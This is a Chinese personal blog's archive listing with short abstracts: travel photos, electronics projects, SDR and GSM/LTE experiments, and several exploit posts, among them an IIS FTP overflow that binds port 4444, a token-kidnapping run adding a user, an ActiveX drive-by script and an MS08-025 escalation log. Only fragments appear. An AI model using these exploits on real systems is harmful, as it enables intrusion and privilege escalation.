2007年11月7日随笔档案 - 酒水不犯茶水

posted @ 2021-11-22 11:32 009 阅读(1125) | 评论 (0) | 编辑收藏

摘要: srsLTE代码主要分为三个模块，即srsUE、srseNB、srsEPC，另外还包括一些底层的库函数：
srsUE：实现了物理层到IP层的LTE SDR平台；
srseNB：全协议栈的LTE eNodeB SDR平台；
srsEPC：轻量级的LTE核心网实现平台，包括HSS、MME以及S/P-GW；
lib：一套模块化的通用库，包括PHY、MAC、RLC、NAS、S1AP以及GW各层。
系统：ubuntu 16.04，使用实体机，USB3.0，千万不要用虚拟机，一些指令优化，时序。。。需要非常精准，比如双向验证鉴权的时候，差一点都不行。
软件无线电：bladeRF x40，LimeSDR mini，USRP B200
写卡：买白卡和写卡器，不要问我，自己关键字搜吧，taobao不让卖了
安装顺序：UHD，SoapySDR，SoapyUHD，LimeSuite，bladeRF，srsGUI，srsLTE
。。。
阅读全文

posted @ 2019-07-19 12:44 009 阅读(6664) | 评论 (0) | 编辑收藏

巴厘岛四日游

posted @ 2018-11-16 11:33 009 阅读(359) | 评论 (0) | 编辑收藏

楼上恶邻小孩奔跑咚咚咚

摘要:
一定会有人用这个关键字搜到这里的，
原来没打算写，网上搜索时候发现很多人深受苦恼，还是写一下吧。
背景就不解释了，此方法为下下策，能用武力解决的就尽量少哔哔。
。。。
阅读全文

posted @ 2016-02-26 14:55 009 阅读(1138) | 评论 (4) | 编辑收藏

小米手环分析

摘要:
认证很简单，只需要在FF04的UUID中写入20字节的值并校验通过，就可以对手环进行读写指令控制。
其实有个更简单的，只要给Immediate Alert这个属性发送0x01或者0x02即可启动“女性娱乐模式”，不需要任何认证：
（这个属性本来是用来可穿戴设备的找回功能的）
...

阅读全文

posted @ 2015-09-05 18:34 009 阅读(3230) | 评论 (12) | 编辑收藏

Sniffing Proprietary 2.4GHz Signals

摘要:
(U) Sniffing Proprietary 2.4GHz Signals
使用HackRF或者RTL-SDR加变频器，那是极好的，但是我最终需要把所有东西都打包到一个小空间里面。
。。。。。。

阅读全文

posted @ 2015-05-08 14:12 009 阅读(2534) | 评论 (0) | 编辑收藏

Promiscuity is the nRF24L01+'s Duty

摘要:
翻译部分内容，备忘加巩固，好多不清楚或错误的地方，望高手指正。
extending the work of Thorsten Schröder and Max Moser
of the KeyKeriki v2.0 project.

NHBadge and a Keyboard。。。。。。

阅读全文

posted @ 2015-04-30 18:29 009 阅读(1253) | 评论 (0) | 编辑收藏

点绘

摘要:

阅读全文

posted @ 2015-04-10 16:50 009 阅读(1033) | 评论 (0) | 编辑收藏

看来我比较适合六岁智商儿童的玩具

摘要:

阅读全文

posted @ 2014-10-07 09:46 009 阅读(1488) | 评论 (1) | 编辑收藏

大四轴飞行测试（视频）

posted @ 2014-06-23 19:14 009 阅读(1599) | 评论 (2) | 编辑收藏

大四轴飞行器

摘要:
备忘和参考

阅读全文

posted @ 2014-05-12 16:43 009 阅读(4851) | 评论 (0) | 编辑收藏

打算做个HackRF

摘要:
国外官方是300美元左右，目前买不到，国内有做的，卖2800人民币，买不起。只能自己做了，好几个芯片好贵啊，都上百了。

阅读全文

posted @ 2014-03-31 17:52 009 阅读(17234) | 评论 (18) | 编辑收藏

crazyflie组装

摘要:

阅读全文

posted @ 2014-03-12 11:16 009 阅读(3568) | 评论 (7) | 编辑收藏

使用xgoldmon项目调试监控本机通信

摘要:
支持手机（感觉可以把手机设置成MODEM模式支持AT命令的应该都可以）
- Samsung Galaxy S3 GT-I9300
- Samsung Galaxy Nexus GT-I9250 (has to be rooted!)
- Samsung Galaxy S2 GT-I9100
- Samsung Galaxy Note 2 GT-N7100
。。。。。。
阅读全文

posted @ 2014-03-11 19:02 009 阅读(3539) | 评论 (0) | 编辑收藏

OsmocomBB项目

摘要:
之前看过好多大牛玩osmocomBB项目，改个手机，连电脑，然后编译一堆东西，到最后都是开个console，满屏红红绿绿的文字滚动，看着很吊。
但都不说最终能干啥，滚屏完了就没了，大牛都太低调了，最近有朋友也在搞这个，了解了一下，以下描述都是我最近查阅的大量鸟文资料及少量中文资料之后的理解，如有误望指出。
OsmocomBB是国外一个开源项目，是GSM协议栈(Protocols stack)的开源实现，全称是Open source mobile communication Baseband.目的是要实现手机端从物理层(layer1)到layer3的三层实现。
这里记录一下过程，以便备忘和其它有需要的童鞋少走弯路。
........

阅读全文

posted @ 2013-11-13 16:27 009 阅读(51980) | 评论 (118) | 编辑收藏

Galaxy Nexus I9250音量键飞线

摘要:
前段时间拆我的三星I9250，把音量排线弄断了，由于几乎看不到触点，修修补补好几个月了，时好时坏，有时候volume+或者volume-被粘滞住了，就无法开机了，重启直接进入recovery模式或者安全模式，但是之后无法响应任何键进入系统，还是得想办法彻底地修一下。。。。
阅读全文

posted @ 2013-11-10 14:16 009 阅读(2196) | 评论 (4) | 编辑收藏

NodeJS、JavaScript 和 PHP 实现TOTP算法（Google Authenticator）

posted @ 2013-09-11 17:23 009 阅读(8082) | 评论 (3) | 编辑收藏

ubuntu mysql5.5 更改数据目录

posted @ 2013-06-14 12:31 009 阅读(3435) | 评论 (0) | 编辑收藏

MSSQL 2008 日志分析

posted @ 2013-05-03 10:17 009 阅读(3257) | 评论 (1) | 编辑收藏

清明时节雨纷纷

摘要:

这小子，始终菊花跟脸同时对着我，算你狠。。。

。。。阅读全文

posted @ 2013-04-07 17:19 009 阅读(1400) | 评论 (0) | 编辑收藏

Raspberry Pi 增加TFT显示

摘要:
Raspberry Pi是一款基于Linux系统的个人电脑，配备一枚700MHz的处理器，256内存，支持SD卡和Ethernet，拥有两个USB接口，以及 HDMI和RCA输出支持。
有消息称，虽然Raspberry Pi看起来非常的迷你——只有一张信用卡大小，但是它能够运行像《雷神之锤三：竞技场》这样的游戏和进行1080p视频的播放。但是以这次接TFT屏试用结果看，我觉得至少SPI是纯属扯J8蛋，可能HDMI速度快点，但是就以那编译内核的速度来看，并不乐观。

... ...
阅读全文

posted @ 2012-12-18 15:21 009 阅读(13301) | 评论 (8) | 编辑收藏

晒图（45幅）

摘要:
统一晒一下最近的图，时间先后顺序乱的

。。。。。。

阅读全文

posted @ 2012-11-26 17:54 009 阅读(1820) | 评论 (1) | 编辑收藏

TVB-Gone 红外编码方法（每次都重新推算一遍，年纪大了还是记录一下吧）

摘要:
每次都重新推算一遍，年纪大了还是记录一下吧（硬件版的TV-B-Gone的压缩编码跳过此段往下看）

N900上有个TVB-Gone的程序，但是程序的红外编码往往都是对应的国外的电视，好多国产电视都不支持，
有时候需要遥控空调或者投影之类的，只能自己录入了，大概看了一下，编码比较简单（比硬件那个简单多了，毕竟不需要考虑程序空间的问题）
（上次录过一次，这次又重搞一遍，还是记录一下，以备后用。）
。。。
阅读全文

posted @ 2012-10-23 17:38 009 阅读(2620) | 评论 (5) | 编辑收藏

Raspberry Pi 入手安装配置（有图有真相）

摘要:
托rock的福，跟风败了个Raspberry Pi，（破手机照的，还可以吧 ^_^），安装配置如下：
阅读全文

posted @ 2012-08-10 16:21 009 阅读(14963) | 评论 (5) | 编辑收藏

Arduino版【流光溢彩】

摘要: 效果看视频阅读全文

posted @ 2012-07-13 16:22 009 阅读(3542) | 评论 (7) | 编辑收藏

我是007加密后的软件密码破解

摘要:
最近要破解一个软件的密码，发现用的我是007加密的，没错，软件就叫尼玛我是007，总结下方法：
……

阅读全文

posted @ 2012-05-31 13:07 009 阅读(4509) | 评论 (13) | 编辑收藏

画的乔布斯，能看出来不？

posted @ 2012-05-26 17:55 009 阅读(1555) | 评论 (2) | 编辑收藏

BT5安装使用touchatag命令备忘

posted @ 2012-04-26 13:25 009 阅读(1763) | 评论 (0) | 编辑收藏

用量产的优盘完美硬盘安装BT5

摘要:
1、The installer needs to commit changes to partition tables, but cannot do so because partitions on the following mount points could not be unmounted: /cdrom
2、ubuntu installer crashed Missing filesystem.size

阅读全文

posted @ 2012-03-21 13:55 009 阅读(2794) | 评论 (1) | 编辑收藏

学做了个USB名片

摘要:
半夜三更发blog，没人疼啊。
打算做个模拟USB键盘的东东，半夜睡不着，先搭个USB名片试试，效果还挺好的，可以整些恶作剧，多做几个可以送人，哈哈。
找现有的零件在面包板上测试的，所以不要评价外观：）
……
阅读全文

posted @ 2011-12-10 01:28 009 阅读(3414) | 评论 (1) | 编辑收藏

2.4GHz无线键盘监听（增加injecting）

摘要:
之前做了个27MHz的无线键盘监听，废了不少劲，一直想做个2.4GHz的，
国内买元器件和做PCB板子太麻烦，少了不做，又贵，中发电子城又远，懒得跑，每次跑一趟，总有忘了买的，
拖拖拉拉的一直到最近才终于折腾完。
Cortex-M3的资料很少，Jlink调试还不太会搞，不知道是不是那个山寨的Jlink问题。
……
阅读全文

posted @ 2011-12-02 15:49 009 阅读(4979) | 评论 (10) | 编辑收藏

腐蚀了个Punisher装饰下板子

摘要:
手工画的，打印的效果肯定会更好……
阅读全文

posted @ 2011-12-02 15:20 009 阅读(2426) | 评论 (0) | 编辑收藏

ID卡模拟器（送朋友的礼物）

posted @ 2011-11-06 22:45 009 阅读(9300) | 评论 (13) | 编辑收藏

晒晒最近添置的东东

posted @ 2011-11-06 18:22 009 阅读(2300) | 评论 (4) | 编辑收藏

MifareClassicDefaultKeys

posted @ 2011-10-09 16:30 009 阅读(2170) | 评论 (0) | 编辑收藏

低频线圈终于弄好了

摘要:
中发的卖家真黑啊，15一个，我是懒得淘宝买，要了两个，JS肯定背地里窃喜。
用了一个半，接到一起，效果还不错。
严重感谢明月松溪的耐心指导，
严禁评价线圈外观
阅读全文

posted @ 2011-10-03 18:55 009 阅读(2528) | 评论 (3) | 编辑收藏

TVBGone

摘要: 芯片买了二批，都是坏的，都开始怀疑我对AVR的理解，甚至重买了个编程器，第三批芯片终于是好的。
结论是国内好多芯片都是假的，悲催啊
……
阅读全文

posted @ 2011-07-30 21:42 009 阅读(2392) | 评论 (6) | 编辑收藏

神卡到了，你丫小心点。

posted @ 2011-07-04 17:23 009 阅读(3518) | 评论 (2) | 编辑收藏

无线键盘监听（更新 LCD 1602）

摘要:
一个国外的开源项目，通过截获无线键盘发出的信号，来监听键盘按键操作，第一个版本支持监听27MHz的无线键盘，第二个版本支持2.4G的无线键盘监听及注入功能，爽。

以前玩过C51单片机，加上本身自学能力和手工焊接功底不错，磕磕绊绊几个月下来，终于初步完成了这个小玩意。

这次的芯片是ATMEL的MEGA64A，比之前C51系列的又强大、复杂了不少，制作过程中遇到非常多的问题，在这里鄙视一下（强烈地）国内的知识共享精神

…………

阅读全文

posted @ 2011-02-19 02:40 009 阅读(6331) | 评论 (15) | 编辑收藏

Nokia N900上安装Neopwn

摘要:
Neopwn：
http://www.neopwn.com/
BackTrack Mobile版，再解释一下，相当于一个黑客工具集的手机版，装完才发现，其实主要用到的就wl1251，一个支持注入的网卡驱动，其它的很多功能都是空的，或者不好用，稳定性不好，建议
……

阅读全文

posted @ 2010-11-19 14:38 009 阅读(7290) | 评论 (6) | 编辑收藏

摘要:
......
转眼过去多年时间多少离合悲欢
曾经志在四方少年羡慕南飞的燕
各自奔前程的身影匆匆渐行渐远
未来在哪里平凡啊谁给我答案
那时陪伴我的人啊你们如今在何方
我曾经爱过的人啊现在是什么模样
......

阅读全文

posted @ 2010-11-18 13:32 009 阅读(3252) | 评论 (0) | 编辑收藏

DIY一个山寨投影

摘要:
用相机和手机拍的，几张白天拍的，几张晚上拍的，开始分辨率不对，调了下好多了，照片效果一般，实际效果比图片好很多。
……

阅读全文

posted @ 2010-06-15 11:34 009 阅读(3885) | 评论 (7) | 编辑收藏

遭受 MSN D.o.S

posted @ 2010-06-14 22:45 009 阅读(3525) | 评论 (3) | 编辑收藏

关于115网盘提示“网络繁忙时段，非登陆用户其它下载地址暂时关闭。。。”解决方法。

摘要:

有时候下载115网盘的时候会提示“网络繁忙时段，非登陆用户其它下载地址暂时关闭。推荐您使用优蛋下载，没有优蛋？立即下载 ”
其实稍微修改下就可以解决。
……

阅读全文

posted @ 2010-05-19 11:17 009 阅读(8225) | 评论 (0) | 编辑收藏

掏了个Nokia N900

posted @ 2010-03-31 11:52 009 阅读(2933) | 评论 (4) | 编辑收藏

解决用Kmplayer播放视频有明显马赛克、锯齿

摘要:
重装了N遍驱动，N遍Kmplayer，包括不同版本的，完美解码等，调试了无数回解码器，渲染器，分离器什么的，还是没有解决
最终发现是......

阅读全文

posted @ 2010-02-06 22:18 009 阅读(10230) | 评论 (1) | 编辑收藏

去年做的东西

摘要:
主要工具：烙铁、钳子、铅笔刀（废了至少6把）、AB胶（至少2对）、砂纸、微型螺丝刀
主要材料：铅笔×112支（六边形最便宜那种）、棉签棍若干、烤肉签×1根、太阳能板、光控电路（废了一个）
附属工具：酌情购买创口帖（以本人神乎其技的刀hua也用了两三个，残念）
用时：没有好工具，而且空余时间构思加制作，花了4个月多点，之后零零散散做了些加工。
另：中间顺便去了趟乔家大院 & 平遥古城找找感觉

工具条件比较简陋，削斜面，切断之类都是用的铅笔刀，食指一侧都长茧了。
..........

阅读全文

posted @ 2010-01-01 23:15 009 阅读(3628) | 评论 (9) | 编辑收藏

风讯所有版本多个目录相关漏洞

posted @ 2009-11-11 23:43 009 阅读(1651) | 评论 (0) | 编辑收藏

小车

posted @ 2009-10-26 16:39 009 阅读(4500) | 评论 (3) | 编辑收藏

T60手工添加WWAN模块上3G和GPS

摘要:
硬件需求：MC5725、小耳朵（天线）、EVDO资费卡、AN/AAA码、IMSI码
软件需求：T60BIOS2.22mod-1802 1804.iso、MC5725驱动、CDMA_Workshop_v2.7.rar、EVDO.prl、QPST_v2.7.rar、EVDO_Watcher.exe

WCDMA太贵，不考虑，移动的还早，现在比较流行的就是电信的EVDO，所以选定MC5725模块，而且还能GPS，由于国外都没有中国的机卡分离之说，所以需要把UIM卡的信息刷到模块上面，这个信息就是AN/AAA码和IMSI码，需要电信的内部人员提供，网上有些卖家能提供，不过现在好像越来越严了，估计以后很难拿到这些了。
如果需要发短信等普通手机功能，需要刷ESN码，还有鉴权什么的需要刷AKey，如果只是上3G，只要AN/AAA码和IMSI码即可。

以上是这几天翻阅海量帖子之后就我的理解，如有误人子弟的地方请指正。

拆机，安装硬件（之前换过不下5次液晶屏的灯管，此等级的拆机装机不费吹灰之力）
... 阅读全文

posted @ 2009-10-17 21:15 009 阅读(9426) | 评论 (2) | 编辑收藏

Microsoft IIS 5.0 FTP Server Remote Stack Overflow Exploit 中英文通用版

摘要:
绑定4444端口，Windows 2000 CN + SP4 测试通过，需要能建目录的用户，偏移地址若不通用，请自行修改。
#!/usr/bin/perl
# IIS 5.0 FTP Server / Remote SYSTEM exploit
..................

阅读全文

posted @ 2009-09-20 15:09 009 阅读(4511) | 评论 (0) | 编辑收藏

TRS （文本检索系统）注入

摘要:
TRS 是英文Text Retrieval System（文本检索系统）的缩写，据说是全文检索、搜索引擎、内容管理及知识管理核心技术和产品的统一，入选2008年度国家规划布局内重点软件企业，做某些渗透经常会碰到。
......

阅读全文

posted @ 2009-09-10 15:12 009 阅读(1329) | 评论 (0) | 编辑收藏

Overwrite $_FILE array in rfc1867 - Mime multipart/form-data File Upload

摘要:
鸟文没太看明白，摸索了一下，$_FILE数组元素解析的问题。
搭个php的环境，目录在C:\www下，根目录下有个upload.php代码如下
......

阅读全文

posted @ 2009-07-27 11:54 009 阅读(3466) | 评论 (4) | 编辑收藏

机场无线密码(更新20100627)

摘要:
更新频度视出差频度而定
上海虹桥机场
京沪空中快线A8登机口
cheerway snack bar A8/.............

阅读全文

posted @ 2009-04-09 11:34 009 阅读(7864) | 评论 (5) | 编辑收藏

黑客控制整栋大厦电力系统,改编成游戏!

摘要:
这才是牛逼黑客,控制整栋大厦电力系统,大厦灯光来做背景,改编成游戏!坦克大战~~
.............

阅读全文

posted @ 2009-02-06 23:57 009 阅读(5770) | 评论 (6) | 编辑收藏

以色列人发现的IE 0day (ZT)

摘要:
测试成功，点打印后，会弹出计算器
.........
阅读全文

posted @ 2009-01-08 19:16 009 阅读(4447) | 评论 (8) | 编辑收藏

模拟钢琴

摘要:
26个字母，26个钢琴键(键盘请在关闭汉字输入法然后点下上面的FLASH以获得焦点，才可正常使用)，可以用a-z来弹，也可以用鼠标
下面的音乐，弹出来就知道是什么了
.........

阅读全文

posted @ 2008-12-05 12:14 009 阅读(4575) | 评论 (2) | 编辑收藏

把我的W810C刷了一下，增加了些实用功能

摘要:
反正很老的机子了，刷坏了大不了买个新的
增加了如下功能：
1. 去网标，那个CMCC
2. 拍照可静音，上次上课拍老师的投影，安静的课堂上，咔嚓咔嚓很尴尬
3. 更新声音和摄像的驱动
4. 增加歌词秀功能（这个是我迫切需要的功能）
5. 增加来电秀功能（来电或者去电，显示对方的物理地址）
6. 字体变小，看着舒服一点
7. 比较酷的主题
8. 改walkman界面
9. 修改休眠模式显示时间的字体
10. 长按侧面的＋按钮，开启或者关闭照明灯
11. 还有GPS功能，不实用，只显示两个十六进制字符串，冒号分割，不知道什么意思，难道是经度纬度？
12. 应该还有，忘了
下面看图
....................

阅读全文

posted @ 2008-10-30 22:52 009 阅读(4697) | 评论 (12) | 编辑收藏

绕过命令行下过滤反斜杠\

摘要:
%tmp:~2,1%
稍微看了下，原来这个字符串是这个意思：%tmp:~2,1% = mid(%tmp%,2,1) = \
......

阅读全文

posted @ 2008-10-16 14:39 009 阅读(3454) | 评论 (0) | 编辑收藏

晒图

摘要:
某些地方画得有出入，被人一通鄙视
欢总一语道破：观察太少了
...........
阅读全文

posted @ 2008-10-14 00:23 009 阅读(2514) | 评论 (3) | 编辑收藏

Token Kidnapping Windows 2003 PoC exploit (Win2K3测试成功)

摘要:
我的有啥补丁打啥补丁的Win2k3 CN SP1测试成功

d:\Churrasco.exe "net user 009 /add"

/churrasco/-->Current User: NETWORK SERVICE
/churrasco/-->Getting Rpcss PID ...
/churrasco/-->Found Rpcss PID: 1948
/churrasco/-->Searching for Rpcss threads ...
/churrasco/-->Found Thread: 472
.......

阅读全文

posted @ 2008-10-09 10:52 009 阅读(7314) | 评论 (13) | 编辑收藏

晒图

摘要:
左腿的阴影还行，云不会画

阅读全文

posted @ 2008-10-03 19:39 009 阅读(2069) | 评论 (1) | 编辑收藏

回答“我的电脑最近很慢”“老是弹出网页”之类的问题专用帖

摘要:
“我的电脑黑屏了”
“我的电脑最近不知怎么变得很慢？“
“我上网老是自动弹出页面，怎么回事？”
“为什么杀毒软件老是弹出来，每次都是同一个病毒？”
.....................
任何人，我一般都会帮忙，但是长时间停留在这个问题上，会疯掉的，往往对方的描述不一定精确，光靠说，白白花了一天的时间也有可能搞不定一个小问题
也许有两种情况我会耐心的给你分析，1：领导，2：美女
我一般会说：“造成这种情况有149834种可能，重装吧，装完升级系统，打补丁，装杀毒，升级病毒库，不要装垃圾软件，不要上色情网站。”
下面讲讲一般步骤，以下讲的都是对付普通病毒，如果说驱动级，rootkit，bootkit什么的，要想让我用一篇简单的blog描述清楚恐怕不太现实，让你清理注入线程，SSDT之类的恶意程序就够你受的了。
................
阅读全文

posted @ 2008-09-21 21:46 009 阅读(3245) | 评论 (6) | 编辑收藏

COVER

摘要:

阅读全文

posted @ 2008-09-19 00:25 009 阅读(2234) | 评论 (1) | 编辑收藏

阿尔山（六）

摘要:
多图
阅读全文

posted @ 2008-09-19 00:04 009 阅读(2088) | 评论 (4) | 编辑收藏

阿尔山（四）

摘要:
多图
阅读全文

posted @ 2008-09-19 00:03 009 阅读(1916) | 评论 (3) | 编辑收藏

阿尔山（五）

摘要:
多图

阅读全文

posted @ 2008-09-19 00:03 009 阅读(1882) | 评论 (1) | 编辑收藏

阿尔山（三）

摘要:
多图
阅读全文

posted @ 2008-09-19 00:02 009 阅读(1816) | 评论 (1) | 编辑收藏

阿尔山（二）

摘要:
多图阅读全文

posted @ 2008-09-19 00:01 009 阅读(1805) | 评论 (0) | 编辑收藏

阿尔山（一）

摘要:
080913 北京－八达岭高速－张家口－张北－宝昌镇（太仆寺旗）－桑根达来镇－乌日图塔拉苏木－锡林浩特－巴彦宝拉格苏木－阿尔善宝拉格镇－额和宝拉格苏木－乌里亚斯太镇（东乌珠穆沁旗）
080914 乌里亚斯太镇（东乌珠穆沁旗）－宝拉格苏木－巴彦霍布尔－额仁高毕苏木－满都胡宝拉格苏木－宝格达山林场－五岔沟镇－白狼镇－阿尔山市
080914 阿尔山游玩一天
080915 阿尔山－白狼镇－五岔沟镇－好仁苏木－科尔沁右翼前旗－突泉镇－科尔沁右翼中旗－高力板镇－舍伯吐镇－通辽－赤峰市
080916 赤峰市－承德市－北京

PS了一下，主要调了下颜色对比度等，裁剪了下尺寸，因为有的在车上拍的，画面中会有反光镜：），还有镜头上的水珠或者挡风玻璃上的虫子什么的，尽量PS掉了一些
..........
阅读全文

posted @ 2008-09-18 22:11 009 阅读(1296) | 评论 (0) | 编辑收藏

瞧瞧这智商

posted @ 2008-09-11 00:58 009 阅读(2736) | 评论 (3) | 编辑收藏

ubuntu 6.10升级到8.10

摘要:
写在文章开头的话：抑郁症严重者，切勿尝试以下操作

不要被标题误导了，不是直接一步升完，其实还是从6.10升到7.04再升7.10再升8.04再升8.10，相当漫长
(坚持6.10很久了，由于之前beryl特效是自己配置安装的，巨麻烦，一直舍不得升级)
.....................

阅读全文

posted @ 2008-08-22 13:15 009 阅读(1172) | 评论 (2) | 编辑收藏

近距离接触奥运（多图杀猫）

摘要:
早上马拉松在家门口经过，下午去五棵松看女篮
十倍光学变焦，不是盖的，不过别人已经单反了
............

阅读全文

posted @ 2008-08-17 23:30 009 阅读(1891) | 评论 (2) | 编辑收藏

用自己的声音唱歌或哼唱来搜索音乐

摘要:
http://www.midomi.com/，首页点上面的flash，Click and Sing or Hum
害我半夜翻箱倒柜找麦狼嚎，不过我唱的搜出来从来没对过，我确定是这套系统的识别率有问题，没错，确定一定以及肯定。
.........
阅读全文

posted @ 2008-08-15 22:44 009 阅读(4301) | 评论 (3) | 编辑收藏

晒图

摘要:

阅读全文

posted @ 2008-08-15 21:45 009 阅读(1923) | 评论 (2) | 编辑收藏

WordPress暴绝对路径

摘要:
(之前发的"关于Fs2You怎么才能不被和谐"的文章被和谐掉了)
装WordPress顺便看到的
默认plugins目录有hello.php文件，不过好像很多插........

阅读全文

posted @ 2008-08-12 14:46 009 阅读(2440) | 评论 (2) | 编辑收藏

在办公室等签字无聊画的

posted @ 2008-08-05 18:09 009 阅读(2400) | 评论 (3) | 编辑收藏

8要香菜

摘要:
最近奥运了，地铁口变少了，开车单双号了，马路变窄了，物价上涨了，断奶一个礼拜了，股票下跌了，失业率上升了，社会动荡了，公司加班了，奖金不发了，关键是连烩面片都TMD开始放香菜了！
.........
阅读全文

posted @ 2008-07-28 00:08 009 阅读(1438) | 评论 (0) | 编辑收藏

我最帅的白衬衫终于挂了

posted @ 2008-07-23 00:35 009 阅读(2393) | 评论 (9) | 编辑收藏

ChinaJOY最后一天（多图杀猫）

摘要:
多图杀猫
... ...

阅读全文

posted @ 2008-07-19 19:31 009 阅读(2277) | 评论 (0) | 编辑收藏

Microsoft Office Snapshot Viewer ActiveX Exploit (可执行版)

摘要:
lcx给的，网上的都是放启动项，这个可以自动执行

<script type="text/javascript">
function killErrors() {
return true;
}
window.onerror = killErrors;

var x;
var obj;
.........
阅读全文

posted @ 2008-07-14 23:07 009 阅读(2532) | 评论 (3) | 编辑收藏

乔家大院 & 平遥古城（多猫杀图）

摘要:
多猫杀图，务必小心
....

阅读全文

posted @ 2008-07-03 15:48 009 阅读(1693) | 评论 (0) | 编辑收藏

Kugoo2008的歌词功能效果灰常不错，适合“跑调王”（图）

摘要:
今天找首歌，用kugoo，几百年不用，账号还在，提示自动升级，升完有个歌词的功能灰常不错，不像以前的歌词秀那种平均时间分配的显示歌词，而是类似卡拉OK的显示歌词方式，比较适合跑调王。不是非常精确，不过已经不错了。
一直用foobar，目前似乎还没有对应的插件。
......

阅读全文

posted @ 2008-06-14 23:07 009 阅读(2510) | 评论 (1) | 编辑收藏

PSP《合金装备：掌上行动》汉化版发布 (ZT)

摘要:
PS: 实在太经典，不得不转一下
献给所有的MGSER和游戏爱好者：

不论是作为psp平台上目前fami通评分最高的游戏（39分）来看，还是从完美承接了MGS3的剧情来看，合金装备-掌上行动都是一款不可多得的优秀作品。在旷世神作合金装备4即将发售之际，提前领略一下这个系列无与伦比的剧情魅力，也是我们献给每一个热爱该系列的玩家们小小礼物。
..............

阅读全文

posted @ 2008-06-07 11:13 009 阅读(3276) | 评论 (3) | 编辑收藏

flash 9,0,115,0 exp (ZT)

摘要: 未测试，觉得比较鸡肋，能中的人实在太少了

阅读全文

posted @ 2008-05-30 11:26 009 阅读(1481) | 评论 (1) | 编辑收藏

别害怕，我就站在你身边！

摘要:
昨晚在吃饭的地方看了将近3小时电视（几乎不看电视，家里没电视），震憾，感人
太多太多太多感人的事迹，看着一幕幕画面，真有自己过去搬石头，帮忙出力的冲动，人家72小时不休息，大不了我48小时应该没问题，或者给人送个水什么的，能做什么就做什么。
给朋友打了个电话.......

阅读全文

posted @ 2008-05-16 13:57 009 阅读(2361) | 评论 (0) | 编辑收藏

国外强人改造系列之红白机NES便携化V3.0

摘要:
NESP第一个版本成功后，我就开始着手更加袖珍版本的改造，让我的NESP更容易携带。对于V3版本，我首先需要的是一块能够顺利运行NES游戏的主版NOAC，对比之前的版本，它的耗电量会更小。当然我不会保证所有NES游戏都能100%兼容，估计会有小部分NES游戏不能运行吧。
.......
阅读全文

posted @ 2008-05-15 12:13 009 阅读(1363) | 评论 (0) | 编辑收藏

国外强人改造系列之红白机NES便携化V1.2&2.0

摘要:
经过1个多月的使用时间，第一版本的NESP的缺陷就开始体现出来了。内部的一些保护油脂在我需要更换之前就失去作用了，还有其他的措施也没有起到预计的作用，主板最终还是被我的手汗侵蚀了。要是这种情况继续下去的话，按键部分的电路会彻底报销的。
............
阅读全文

posted @ 2008-05-15 12:10 009 阅读(1132) | 评论 (0) | 编辑收藏

国外强人改造系列之红白机NES便携化V1.0

摘要:
在一个黑暗的风雨交加之夜，一名疯狂的技师正操控着一台巨大的装置。他的手中拿着长长的木条，并等待适当的时机进行加工，工作间因为外面狂怒的闪电而充满白色的光芒。闪电再三击中建筑物，在被电弧缠绕的房间中，疯狂技师露出了魔鬼般的笑容。实验终于完结，把所有装置移除后，展现在我们面前的是：一个屏幕闪动着蓝光的盒子。
...............
阅读全文

posted @ 2008-05-15 11:32 009 阅读(1458) | 评论 (0) | 编辑收藏

改了个linux下的c代码为windows版本

摘要:
Windows的C++没有pthread_t类型，linux中有个pthread.h，很多站的VC代码，都不知道从哪包含来的，shit
网上看到有一个叫 POSIX Threads for Win32 的开源项目给出了一个功能比较完善的Windows下pthreads API的实现。

阅读全文

posted @ 2008-05-09 14:51 009 阅读(2787) | 评论 (4) | 编辑收藏

将Win32 C/C++应用程序迁移到Linux-进程、线程和共享内存（ZT）

摘要:
本文的内容是 Win32 API（特别是进程、线程和共享内存服务）到 POWER 上 Linux 的映射。本文可以帮助您确定哪种映射服务最适合您的需要。作者向您详细介绍了他在移植 Win32 C/C++ 应用程序时遇到的 API 映射。

阅读全文

posted @ 2008-05-09 14:33 009 阅读(3709) | 评论 (0) | 编辑收藏

内蒙最后一天

摘要:
刚去离我住的地方方圆二里地内最好的饭馆吃饭（叫音乐餐厅，这里所谓最好的是指：一个人吃饭价钱还能承受，味道可以，而且吃完还不会拉肚子），晚饭吃得早了点，因为晚上的火车，里面一个人都没有，除了服务员。坐下一四人小桌，服务员过来撤走三套餐具，留下一套离我最远的，在我对角的餐具，点了两个菜一个炒饭，
........
阅读全文

posted @ 2008-05-08 18:48 009 阅读(491) | 评论 (1) | 编辑收藏

MS08-025 for win2k & win2k3

摘要: Win2k CN SP2 ，Win2k3 CN SP1下测试通过，其它未测试(不装XP那种垃圾)
D:\>ms08025 whoami

MS08-025 Windows Local Privilege Escalation Vulnerability Exploit
By 009, baicker@hotmail.com
TEST OS: WINDOWS 2k SP2 & WINDOWS 2k3 CN SP1

Kernel is \WINNT\System32\ntoskrnl.exe
Get KernelBase Success, ntoskrnl.exe base = 80400000
Mapping ntoskrnl.exe ... ok
KeServiceDescriptorTable = 008ED280
Find KiServiceTable ... Get ZwVdmControl Number ... ok!
ZwVdmCo 阅读全文

posted @ 2008-04-17 23:43 009 阅读(2603) | 评论 (7) | 编辑收藏

Firefox自定义referer插件（Firefox突破防盗链）

摘要:
RefControl 0.8.10

要是上次找到这个插件就好了，省得我一遍一遍地用nc修改referer提交
很多防盗链和防本地提交是依靠用户浏览器自动提交.......

阅读全文

posted @ 2008-04-08 14:42 009 阅读(6201) | 评论 (1) | 编辑收藏

Firefox突破图片防盗链

摘要: 以下方法修改完后，再刷新本页就能看到上面图片
Firefox：输入about:config进入配置页面，修改network.http.sendRefererHeader的值为1即可（默认是2），
.....
阅读全文

posted @ 2008-04-08 14:00 009 阅读(1575) | 评论 (3) | 编辑收藏

Real Player rmoc3260.dll Exp (老C给的，据说好用)

摘要:
milw0rm上的，生成器
lcx给的，稍微改了改代码，据说好用
未测试，最近忙到自杀的时间都没有
唉，可惜有马时候没洞，有洞时候没马，要不就找个站挂上了。

http://www.blogjava.net/Files/baicker/Real........
阅读全文

posted @ 2008-04-02 23:56 009 阅读(1789) | 评论 (5) | 编辑收藏

比较solaris-redhat-suse-freebsd20051129（ZT）

posted @ 2008-03-30 15:58 009 阅读(2464) | 评论 (0) | 编辑收藏

Microsoft Office Excel Code Execution Exploit (MS08-014)

摘要: http://www.milw0rm.com/sploits/2008-zha0_ms08_014.rar

阅读全文

posted @ 2008-03-22 14:13 009 阅读(1432) | 评论 (0) | 编辑收藏

腻了，玩点别的

摘要:
貌似花了两小时

阅读全文

posted @ 2008-03-15 18:34 009 阅读(1133) | 评论 (8) | 编辑收藏

没事多申请专利，你行的，你可以的，你是最棒的

